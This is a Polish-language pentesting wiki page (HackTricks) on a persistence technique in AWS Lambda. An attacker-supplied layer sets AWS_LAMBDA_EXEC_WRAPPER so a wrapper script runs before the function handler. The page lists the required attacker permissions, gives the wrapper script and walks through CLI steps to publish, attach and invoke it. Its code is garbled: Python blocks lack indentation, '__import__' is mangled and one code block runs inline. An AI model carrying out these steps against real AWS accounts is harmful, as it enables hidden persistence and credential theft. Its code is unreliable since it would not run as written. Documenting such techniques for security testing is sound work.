Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md
T

4.0 KiB

AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)

{{#include ../../../../banners/hacktricks-training.md}}

Podsumowanie

Wykorzystaj zmienną środowiskową AWS_LAMBDA_EXEC_WRAPPER, aby uruchomić kontrolowany przez atakującego skrypt wrappera przed startem runtime/handlera. Dostarcz wrapper przez Lambda Layer pod ścieżką /opt/bin/htwrap, ustaw AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap, a następnie wywołaj funkcję. Wrapper działa wewnątrz procesu runtime funkcji, dziedziczy role wykonawcze funkcji i na końcu wykonuje exec rzeczywisty runtime, dzięki czemu oryginalny handler nadal wykonuje się normalnie.

Warning

Ta technika daje możliwość wykonania kodu w docelowym Lambda bez modyfikowania jego kodu źródłowego ani roli oraz bez potrzeby posiadania iam:PassRole. Wystarczy możliwość zaktualizowania konfiguracji funkcji oraz opublikowania/dołączenia layera.

Wymagane uprawnienia (atakujący)

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (lub wywołać przez istniejące zdarzenie)
  • lambda:ListFunctions, lambda:ListLayers
  • lambda:PublishLayerVersion (to samo konto) oraz opcjonalnie lambda:AddLayerVersionPermission jeśli używasz cross-account/public layer

Skrypt wrappera

Umieść wrapper w /opt/bin/htwrap w layerze. Może wykonywać logikę przed handlerem i musi kończyć się exec "$@", aby przekazać kontrolę do rzeczywistego runtime.

#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"

Kroki ataku (CLI)

Opublikuj layer, dołącz do docelowej funkcji, ustaw wrapper, wywołaj ```bash # Vars REGION=us-east-1 TARGET_FN=

1) Package wrapper at /opt/bin/htwrap

mkdir -p layer/bin cat > layer/bin/htwrap <<'WRAP' #!/bin/bash set -euo pipefail echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION" python3 - <<'PY' import boto3, json print('[ht] sts identity:', import('json').dumps(import('boto3').client('sts').get_caller_identity())) PY exec "$@" WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer)

2) Publish the layer

LAYER_ARN=$(aws lambda publish-layer-version
--layer-name ht-exec-wrapper
--zip-file fileb://htwrap-layer.zip
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8
--query LayerVersionArn --output text --region "$REGION")

echo "$LAYER_ARN"

3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER

aws lambda update-function-configuration
--function-name "$TARGET_FN"
--layers "$LAYER_ARN"
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}"
--region "$REGION"

Wait for update to finish

until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done

4) Invoke and verify via CloudWatch Logs

aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text

</details>

## Wpływ

- Wykonanie kodu przed handlerem w kontekście środowiska uruchomieniowego Lambda, wykorzystując istniejącą rolę wykonawczą funkcji.
- Nie wymaga zmian w kodzie funkcji ani roli; działa w popularnych zarządzanych środowiskach uruchomieniowych (Python, Node.js, Java, .NET).
- Umożliwia persistence, dostęp do poświadczeń (np. STS), eksfiltrację danych oraz manipulację środowiskiem uruchomieniowym przed uruchomieniem handlera.

{{#include ../../../../banners/hacktricks-training.md}}